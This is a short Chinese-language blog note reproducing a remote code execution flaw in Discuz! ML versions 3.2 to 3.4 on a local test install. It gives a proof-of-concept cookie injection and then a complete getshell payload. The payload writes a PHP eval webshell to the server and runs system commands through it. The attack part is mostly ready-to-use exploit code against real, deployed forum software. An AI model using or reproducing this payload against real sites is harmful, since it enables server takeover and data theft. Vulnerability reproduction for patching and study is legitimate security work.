Discuz! ML RCE漏洞 getshell 复现

  • 2019 年 12 月 12 日
  • 笔记


0x00 影响版本

Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台, 用于构建像“社交网络”这样的互联网社区,漏洞版本如下:

Discuz! ML V3.2

Discuz! ML V3.3

Discuz! ML V3.4

0x01 环境搭建

使用phpstudy搭建:直接官网下载即可http://discuz.ml/download,将压缩包解压至phpstudy网站根目录,浏览器访问upload目录即可开始安装

之后就是傻瓜式操作,一直点击下一步就可以了,直到完成安装

0x02 漏洞Poc

随便选择一种语言并抓包

将Cookie中的xxxxx_language参数值改为 '.phpinfo().' ,可以看到成功执行了代码,如下图:

0x03 Getshell

EXP:

%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2547%2545%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27

编码前是这样的:(urldecode后面的括号里是一句话木马)

'.+file_put_contents('shell.php',urldecode('%3c%3fphp+%20eval(%24_%47%45%54%5b%22cmd%22%5d)%3b%3f%3e')).'

传入xxxx_language发包:

执行后本地就会多出一个shell.php文件

访问:

http://127.0.0.1/discuzml/upload/shell.php?cmd=system('whoami');

即可看到成功执行了命令